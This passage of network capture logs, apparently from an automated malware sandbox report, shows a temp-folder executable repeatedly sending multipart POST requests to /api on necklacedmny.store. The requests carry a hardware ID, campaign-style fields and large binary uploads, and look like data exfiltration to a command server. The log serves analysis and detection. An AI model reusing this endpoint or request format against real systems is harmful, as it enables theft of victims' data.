65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:17 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tgp3nrh90sd85g83btd9bnubfq; expires=Mon, 24-Feb-2025 22:39:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q1Po5MTtG6qkqDWqigeNS1o3J8caZIdXAaCzl2xw1PxfTm3T3R3eh%2Fyu%2FpmgjIZ0%2BLesYFdfDR%2Bbd94dqedJ8NSYpLJ7KeZRXv54sV4pPnj12M3aIlSgmCpPlQAeuWtVQmAd2uI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947bf5edde7cb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2286&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13782&delivery_rate=1308630&cwnd=32&unsent_bytes=0&cid=6f2e6eca8ad74c50&ts=589&x=0"
2024-11-01 04:53:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49993	188.114.96.3	443	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:18 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-11-01 04:53:18 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:19 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v7rf3u73vh01ddasqlpb3qhunl; expires=Mon, 24-Feb-2025 22:39:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZutvdN%2BFUTTDvzHuDlmv3n%2Bg98MPSePxDGGDMa1mSoN%2BKJt%2BGjMMCWtyp9hFReWn%2ByYke6Sv3aEWCtaHRz1P7rOU6gP5EzYqGYJe2DHDM2U88fvuOhLZKJlOBS2kIP5s67iM1vY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947c7ea4d283f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2064&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16024&delivery_rate=1327831&cwnd=251&unsent_bytes=0&cid=86d34fcf214a9204&ts=491&x=0"
2024-11-01 04:53:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49997	188.114.96.3	443	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:20 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-11-01 04:53:20 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:20 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-01 04:53:20 UTC	1029	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8516aaj14jnj5i9b3l4597rnpl; expires=Mon, 24-Feb-2025 22:39:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZLFyxcGn9Np9OYSCLrKz%2F2xlMcQI%2FyfFKJzH0jpqBzRlaNb%2F80pgpt%2Fc6%2BJxB5jUHs%2FQay26PCaLqEVUsb%2B%2FoEgTeSROoyEymFAo1uf3LnBEORojwTTQ%2FMOcZQu5viANqYoMkOk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947d12f097d54-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1163&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21536&delivery_rate=2421404&cwnd=250&unsent_bytes=0&cid=b3bbd14f46bf3e3e&ts=497&x=0"
2024-11-01 04:53:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49998	188.114.96.3	443	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:21 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1275 Host: necklacedmny.store
2024-11-01 04:53:21 UTC	1275	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:22 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ui7spj1cfmp51b6q3f0um95g3q; expires=Mon, 24-Feb-2025 22:40:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2BXamrMGdDLvcysBOyPd99il6O0AurvNmCEt1fQDb8jtYlxS3hhpXV48XUOZBZGHkMq0otXJ4aqzYkQLAFRoc5tdjNegSiiDlIYalPIUCaqxWM%2B5ZH%2FbOLwawhXN9RCnBfciyB8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947dc098b6c37-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1743&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2194&delivery_rate=1625140&cwnd=230&unsent_bytes=0&cid=633f64d5e9312d55&ts=517&x=0"
2024-11-01 04:53:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50000	188.114.96.3	443	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:24 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 579348 Host: necklacedmny.store
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: 94 3a 6d d4 5c 60 44 66 3b 5f 4d 0e d3 a9 46 b8 7d 18 16 10 5d 79 e4 ef 92 bf a4 b4 78 92 a3 a2 1c 2c 08 fc 2c e2 9a 03 04 c0 1b 21 3b b5 5a 70 3d c4 e9 c0 98 c6 ed 0a d1 75 8d fa 6d e6 d6 23 09 01 79 b1 65 2c e1 5e a8 b9 5e 80 30 49 8a 54 69 f2 2e b0 b4 6c e7 7e 79 5a b9 49 90 90 de f9 ea 71 21 0b 23 55 d8 f7 e0 13 e6 bb 42 87 3e 2e 4f 9c 56 8e ae 12 04 62 95 93 cf f3 01 75 aa 01 ab 5d 7e 6a c1 a1 d7 e0 d7 d3 d5 4a d7 ff e4 50 b0 38 67 e4 f5 83 50 57 51 d6 e2 6f 6a fb 63 f8 a3 13 0c e0 8b f2 ad b6 07 e5 6d 90 9f fb 05 ec dc 98 1d cf 74 59 ff f3 07 65 ee cc 2a bf bb 95 c0 64 37 24 8f 8c de 1b 7b c0 7e a4 ab d4 29 b0 37 ff 2d b4 1d 75 79 0c d8 25 5f fe b7 a1 b3 ae 1a e1 07 1d 60 0e 87 88 4d 6a 3e 02 38 5e 89 00 49 a6 69 83 39 1a eb 9f cc 2a a0 04 48 a2 b8 Data Ascii: :m\`Df;_MF}]yx,,!;Zp=um#ye,^^0ITi.l~yZIq!#UB>.OVbu]~jJP8gPWQojcmtYed7${~)7-uy%_`Mj>8^Ii9H
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: 1d 2e fe 54 7d a3 40 18 85 ea 9a 0e 3f ff 53 3c fa 66 99 dd 76 19 49 51 22 fd 13 e5 fb 65 d3 d8 40 83 b2 d7 f4 ce b2 5f f7 df 87 fb 65 c7 c5 c6 6e 68 9d 47 3e ae 9b e7 20 c2 73 5d 16 7d 9e a3 8b 3a ba 26 cb bc b0 b3 1d fd d7 1e 42 36 6d 81 d8 f6 c1 5c ea d7 a8 12 5d ec 6d 3e 65 56 d0 57 00 9c dd a6 07 b9 77 76 cc 30 9c 36 2b 07 96 2a 77 2c d8 1f e0 b5 0f 05 8f 27 2e dc 54 bc 4c af 5b 9f 5f 1c 34 d3 5b 5c d1 a1 ff d1 02 88 9d 8b 51 47 b4 82 72 32 fd 5f 98 6c 4c 3d 75 be 3a 9c a0 b2 b7 7a a6 be db 64 4f 56 d5 36 34 fc 80 41 a4 24 a1 40 bc 99 57 5b 8d f5 20 43 9e 1b ca eb a6 0f fd ef 39 95 a7 01 7d f7 6f ed f1 d0 0b 02 11 17 40 f8 d0 cd 70 0f c0 96 7d 0a c0 49 33 d0 1f 0e fa af cf f8 20 df 16 03 0a cf 89 db fc bf 87 f3 24 1d 15 b0 79 2d 8a a0 67 41 a8 b1 a2 Data Ascii: .T}@?S<fvIQ"e@_enhG> s]}:&B6m\]m>eVWwv06+*w,'.TL[_4[\QGr2_lL=u:zdOV64A$@W[ C9}o@p}I3 $y-gA
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: 1b 9d 7d b9 47 09 10 fc b7 a4 d0 d1 f1 30 7c b4 57 ec 9f fe ee 61 a9 f2 1c 15 8a e0 e1 e7 b0 93 b2 4a d7 07 ed 7a 4a 68 27 60 59 95 6b 62 fc 56 75 47 cc 0c 95 bf 2a dd cb 04 ed 65 82 c5 d2 76 4c 21 07 60 a9 93 1d 5a 03 78 94 6d d4 27 56 54 10 e4 a2 3e 88 54 8c 17 47 ef d9 cd 2e 3c ca e4 3b 7c 64 bc 82 ae 30 d3 92 25 af a4 e0 1c e6 00 ae c0 32 eb 8c fc 05 1c 62 7b 8d 41 83 cb 2d 84 df 3d fa 99 ed 64 ae 53 aa 07 4f f2 53 38 ad 2b 4c 8a 03 ff c2 ca 57 ec c6 4a fd ab 03 56 cb 2a be a9 92 b6 d4 02 1c 53 aa 9f 9f 7c f0 83 73 10 1c 09 b9 24 02 78 9b 32 48 a4 21 41 1a d8 a5 5c cc 08 14 6a b2 37 76 54 f3 cd 0a b2 94 ae e9 2e 03 84 fd db 5a 51 f3 ec 85 12 c1 d7 62 40 f4 e0 d5 11 47 65 b0 d1 c3 09 e6 48 72 57 67 7d 8a 3e b0 a6 85 38 5b e8 8a 75 55 6a 59 0e 37 f2 9b Data Ascii: }G0\|WaJzJh'`YkbVuGevL!`Zxm'VT>TG.<;\|d0%2b{A-=dSOS8+LWJVS\|s$x2H!A\j7vT.ZQb@GeHrWg}>8[uUjY7
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: 10 df 38 04 4e 84 48 7e f7 d8 5c 25 ab ab 22 6a ed 9d bc 1e a3 d3 43 3c e7 ae c9 a5 9c 54 e8 e6 cb 4b 12 5e 68 6b 8c 9a e4 f7 a3 37 e4 24 13 bf e3 d0 40 4b 42 30 36 66 0f c6 8b 75 91 81 6a 8f 09 35 35 2d 87 95 1e 8c 3a a9 20 b3 be af 7d ac 5a 9f 63 ea dd ae 8f e0 e3 0e 3a e1 3b de 7f 58 66 7b fe 13 03 2f bf fb 7a ce 44 76 ac cb 9d a2 cf a7 75 45 ee 3f d4 23 38 38 d0 7a 1a 6f 1e 22 0e ef 6f d6 08 27 1c 3c 3c f3 9b 76 d4 32 27 32 91 11 5f 60 2c 30 2e 56 63 af 9b b7 70 66 34 4b 5f c0 cb 57 43 3e 9a 7f 25 bf 43 fd f8 ee 76 38 5e 60 97 d6 e5 d3 c4 cc 08 fc f3 7b ed 5d b9 cb 9c 12 c1 13 f3 3e 97 9d a3 30 c3 d0 3d 79 8c a0 14 62 bd 21 33 98 5d ac 91 fb 42 0a 8f 39 07 f2 f6 08 46 29 53 2a 2e da f5 47 21 16 12 67 6b f5 15 bd ff ef 54 fd ff ef 02 a9 90 e5 09 98 10 Data Ascii: 8NH~\%"jC<TK^hk7$@KB06fuj55-: }Zc:;Xf{/zDvuE?#88zo"o'<<v2'2_`,0.Vcpf4K_WC>%Cv8^`{]>0=yb!3]B9F)S*.G!gkT
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: 20 54 62 4a fd 22 44 36 ca ae 19 96 e0 c7 f6 b8 83 8c b8 dc 57 d9 d5 30 85 f8 8a f5 b0 13 8e 9f bd 61 ab 4f 7b 13 42 bd c8 5f 2d 04 67 92 d8 bc fa c0 27 b7 a1 19 b5 c5 c2 f5 6f a6 07 c9 96 dc e7 9c 94 d2 fe 11 c2 9b 99 42 8d bd 52 6f 68 c9 bb 1d 75 2e df 2d 7e f7 5a 17 4d a6 eb 80 ba f0 98 d9 8b b3 d4 65 be a1 7c 54 f8 59 c2 a3 3d 1e 41 a9 48 13 85 aa 6b 3e ec e4 c1 b0 b1 d8 36 fb 21 03 1e 94 db 72 64 3d e5 b9 93 87 cf 46 72 0d f1 0c f5 f9 bb b8 93 af 47 05 70 c8 06 53 86 dc 58 55 02 26 2a 00 07 dc 9a cc 65 28 da 99 b0 87 26 be d0 44 5b 02 7d 7c 86 1a 04 41 dc ab c2 2b 87 a7 c6 02 49 fd aa 73 83 a1 46 4a 3f 9b 36 4c 41 a3 85 6a 62 48 3c 12 5b b2 22 a0 af 87 5c db bc e0 9b 3c 34 9b 14 b3 d3 b7 a8 ba f2 d3 3f 28 b5 97 ea 77 8d e4 94 56 f9 a0 b9 08 b2 7e 95 Data Ascii: TbJ"D6W0aO{B_-g'oBRohu.-~ZMe\|TY=AHk>6!rd=FrGpSXU&*e(&D[}\|A+IsFJ?6LAjbH<["\<4?(wV~
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: 97 11 78 b6 20 a8 11 c9 58 65 fb 99 4d da 0e f1 d2 ea 5d 2b eb 5d 89 9a cc 13 88 e8 93 68 2a 08 eb 71 a1 56 33 2b 98 71 4b c7 ee 89 ea c6 dd db ff b9 e0 91 38 8d 7f 89 5f 35 56 89 c6 b3 2c bc d6 7b 05 af b9 e3 c5 d7 2a 30 3c 62 19 e1 11 bd 2a b4 e4 20 c0 d0 36 c8 eb 3e 02 de 1f 55 15 58 58 9e 5c ce aa d1 8d c1 cc 5a 0e 9b 48 23 49 ff 52 52 d6 90 d7 99 2a 11 a2 74 cb e5 64 8a 11 c0 37 13 a9 15 b6 65 3e 67 63 89 55 87 b7 7b be 53 64 77 d2 5b 86 3b df 27 6a f9 96 7a 72 e6 dd 39 3e f4 a5 c5 cf 94 75 f7 77 3f d4 17 7f 02 52 86 0f 23 49 ff 05 82 b6 3f a0 f4 4a cf 8e 18 92 66 7e d7 cb e5 16 f0 30 d2 02 4b cd 9b f6 7e 13 df 39 42 c5 e4 4c 4c 88 29 0e b0 8b 6f 65 bc e8 cc d9 4c fe 6e ab 04 65 d9 64 78 7f f7 4d 47 81 3f 65 48 4e fe 9b ab 20 a3 cd 12 07 3e 8d 70 51 Data Ascii: x XeM]+]hqV3+qK8_5V,{0<b* 6>UXX\ZH#IRR*td7e>gcU{Sdw[;'jzr9>uw?R#I?Jf~0K~9BLL)oeLnedxMG?eHN >pQ
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: f0 05 76 e7 9b 3a 6d ce 28 46 5b 43 c0 f4 9a ab 20 d4 c4 2a ac df fd 6e e1 4e 42 cb ba 8f 27 bb 6a ae 1f 07 df 32 f4 17 08 84 c0 ca f6 6a 15 e6 57 d9 2d bc df b1 ca f2 c1 ec e2 45 ca e2 b2 7a 20 f3 66 05 42 c8 8b c8 17 25 14 9c ea f4 2d 13 fc 08 d8 c9 d7 a7 f5 e4 97 9e 5a 50 8d 20 d2 b9 56 3b 24 3e 3d 64 41 bd 0d 07 bd 04 0c 0c 66 d6 3b 9a 59 8e 07 79 bb a4 c0 5e e6 d1 86 7a 77 40 d9 87 cf 88 8d 1e 10 01 85 d9 ab fe ad 47 cc 18 af 04 c0 9e 16 58 1d 9f 79 0c 38 89 63 03 9f 8a 75 cd f0 80 03 3c ae 58 e0 72 18 b6 07 76 a3 23 70 29 e6 a5 18 fe cc 3b da b7 51 1f b7 e8 57 5d 04 70 89 9d ae cc 7e 78 6d b0 c9 8c 80 b2 ff 4c e1 83 c6 8f 91 d1 1c ff fd 78 15 86 4a ab 89 5c fb 4f cc 0e c6 ad 0b 4a 58 80 49 93 6d 34 22 1b ac 3a 61 4e 01 b2 39 39 21 c9 53 82 72 12 a0 Data Ascii: v:m(F[C *nNB'j2jW-Ez fB%-ZP V;$>=dAf;Yy^zw@GXy8cu<Xrv#p);QW]p~xmLxJ\OJXIm4":aN99!Sr
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: b7 a1 97 04 50 f0 86 a4 75 e9 7e 62 ec 47 e3 f5 95 07 e5 e7 8e ea 99 a3 3f ea 1c 96 92 f2 de 89 c2 bb 7b 13 0e 6b b8 fd 1d 57 73 36 8f 5a 8c c1 68 46 6b 37 32 a6 f0 0e 20 ec 0f a4 58 fb 01 7a 30 ee 7f 95 76 92 d4 89 22 cf 20 65 15 46 e7 1b e9 2b 01 ad 90 ac 9b 84 1e 5b 67 79 4b 1c 69 88 a6 67 db b4 8d 02 68 8c 18 dd 3a a7 35 3c 5a ef dc c4 48 a7 a4 62 87 6c 74 f2 16 92 c6 c5 6f f1 49 22 76 21 a5 ec 9c 06 a9 1d 42 f3 e2 02 be 16 57 43 af c4 50 2d aa f4 36 d4 93 46 39 f2 fd 2d 1f f1 41 98 67 be 4f 9f 26 81 ba f7 80 56 fb 46 e5 cc 0f 92 dd 11 d3 a9 cd af c1 43 15 3f 48 3a 22 ae 57 20 85 3b 16 75 a3 79 f3 7c d6 b1 26 33 a0 6b e6 cb 20 03 05 ae b4 28 0e d0 5e f3 bc 4f 9f a3 b9 80 18 7f 5e ef 5f e9 c0 6e 92 fd 53 8d 5c 8d f0 be 6b 06 63 75 9d 84 42 5b 72 1b 17 Data Ascii: Pu~bG?{kWs6ZhFk72 Xz0v" eF+[gyKigh:5<ZHbltoI"v!BWCP-6F9-AgO&VFC?H:"W ;uy\|&3k (^O^_nS\kcuB[r
2024-11-01 04:53:24 UTC	15331	OUT	Data Raw: 6c 7e 2e 10 4b 2f 33 1f d5 0f 6d 5e e6 5e 04 64 01 68 bc af ce b0 43 d2 3f de d5 7f d7 43 57 f4 bf f0 13 db f3 f6 15 a2 7e 93 e2 4e 1f 73 90 75 5e 68 0b fb 45 54 85 db 8b 50 9e 24 6f 33 70 82 ac 00 19 b6 6e b4 16 e5 ef dd 0b 5b 54 ad f5 ac cb 5b 3f 98 79 1b c6 7b c6 58 49 ec 59 4f d1 c8 a1 99 2e 29 5f 40 39 9b 07 ca 20 7e 9e 92 1d a2 09 03 f7 9d f9 44 14 5c 51 8c e9 7b 60 97 28 de ff ef 2b d4 55 a9 9e 5a da 87 40 e1 b9 e3 36 74 5a 07 49 05 05 b2 54 2f 50 61 38 1c b5 03 2c a0 d6 76 b1 72 69 54 14 8c 8a 47 d1 f0 30 61 10 ae c0 d8 9b 09 62 df 51 01 b1 c5 1d 00 d8 73 39 88 7f 1b 26 18 43 ea 5b 6d df 47 4e 3a e0 de 5e ab d2 df 1d af 9e 23 dc 72 00 8f 3d 47 71 80 28 5e 3f eb b3 ff 16 7c 20 3c 34 b0 83 05 8c 72 c7 b8 e3 84 cf 61 8b 8a 3a 7e ce d7 d5 82 62 d2 ee Data Ascii: l~.K/3m^^dhC?CW~Nsu^hETP$o3pn[T[?y{XIYO.)_@9 